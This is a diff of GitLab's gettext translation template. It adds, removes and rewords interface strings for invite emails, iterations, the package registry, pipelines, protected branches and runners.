-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
